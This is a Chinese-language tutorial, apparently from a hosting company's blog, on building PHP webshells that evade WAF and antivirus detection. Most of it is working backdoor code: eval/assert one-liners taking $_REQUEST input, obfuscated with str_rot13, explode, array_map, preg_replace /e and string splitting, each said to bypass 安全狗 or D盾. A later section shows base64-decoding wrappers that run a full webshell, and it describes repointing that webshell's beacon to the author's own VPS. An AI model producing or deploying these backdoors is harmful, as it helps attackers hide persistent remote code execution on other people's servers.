本篇內容主要講解“Webshell免殺怎么實現”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“Webshell免殺怎么實現”吧!
在滲透測試中最常用的就是一句話后門(小馬)和中國菜刀的配合。如果出現某種WAF防護,就尋找一個免殺的大馬掛馬。
最常見的php一句話木馬
<?php @eval($_POST['x']);?>
這個一句話木馬由兩部分組成,eval用來執行接收的代碼。$_POST['x']來接收數值。
本著這個原則,嘗試改寫一句話木馬繞過WAF。
搜集了幾個常用的php函數
執行代碼的eval、assert、preg_replace
接收數據的$_POST、$_GET、$_REQUEST
<?php
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>str_rot13函數來替代assert。該函數對字符串執行ROT13編碼。ROT13編碼就是把每個字母在字母表中移動13位。
測試發現無法繞過安全狗。修改一下。
<?php
function xiaoma($a){
$c=str_rot13('nffreg');
$c($a);
}
xiaoma($_REQUEST['x']);
?>即可繞過安全狗。
<?php
class One{
function xiaoma($x){
$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];
$str($x);
}
}
$test=new One();
$test->xiaoma($_REQUEST['x']);
?>再次修改,加了explode函數分割字符串,class封裝類??衫@過D盾。
array_map() 函數將函數作用到數組中的每個值上,并返回一個新的數組。
<?php
$a1=array("1234","123456");
$a2=array(@$_REQUEST['x'],"1234");
$a=array_map(null,$a1,$a2)[0][1];
assert($a);
?>即可繞過安全狗。
array_key() 函數也是返回包含數組的一個新數組。
<?php $a=array($_REQUEST['x']=>"3"); $b=array_keys($a)[0]; eval($b); ?>
索引數組變化為關聯數組。
即可繞過安全狗、D盾。
用來正則匹配的一個函數。
<?php
function func(){
return $_REQUEST['x'];
}
preg_replace("/test/e",func(),"i am test");
?>/e用來當做php代碼解析。5.6版本以下實用。
測試可繞過安全狗和D盾。
根據preg_replace修改為preg_filter函數,也是用來執行正則的匹配替換。
<?php
$a=preg_filter('/\s+/','','as s er t');
$a($_REQUEST['x']);
?>也可以繞過D盾、安全狗。
<?php
function test($a){
$arr = array('a','s','s','e','r','t');
$func = '';
for($i=0;$i<count($arr);$i++) {
$func.=$func.$arr[$i];
}
$func=substr($func,-6);
$func($a);
}
test($_REQUEST['x']);
?>也可以繞過D盾、安全狗。

正好自己手里有一個php大馬。但不免殺。嘗試將源碼base64加密后修改為php免殺大馬。
將大馬eval函數變為exit或者echo。burp抓取源代碼。


將源代碼拷貝下來,審計發現給源碼存在一處后門。

base64解碼一下

哦?。?!真是可以。
將該base64地址修改為自己的vps地址。嘻嘻。
那現在只要eval函數可以執行這傳base64的字符串就可以啦。
WAF對base64_encode、base64_decode查殺非常嚴格。
不斷搜索、修改、編寫,最終成功。
<?php
header("Content-type: text/html; charset=utf-8");
class one{
public function dama(){
$l='base';
$o='64_de';
$v='co';
$e='de';
$love=$l.$o.$v.$e;
$c="love";
$shellname='網站安全檢測';
$password='xxx';
$myurl='http://www.xxx.com';
$a=$$c('code');//php源碼
@eval($a);
}
}
$person = new one;
$person->dama();
?>直接將php大馬源碼放在code處。即可。
也可以改造php免殺一句話木馬。
比如這款
<?php
header("Content-type: text/html; charset=utf-8");
function test($code){
$password='xxx';
$a=preg_filter('/\s+/','','base 64 _ deco de');
$c=$a($code);
@eval($c);
}
$code=''; //code存放php大馬
test($code);
?>訪問一下。

查看vps是否接收到。

到此,相信大家對“Webshell免殺怎么實現”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。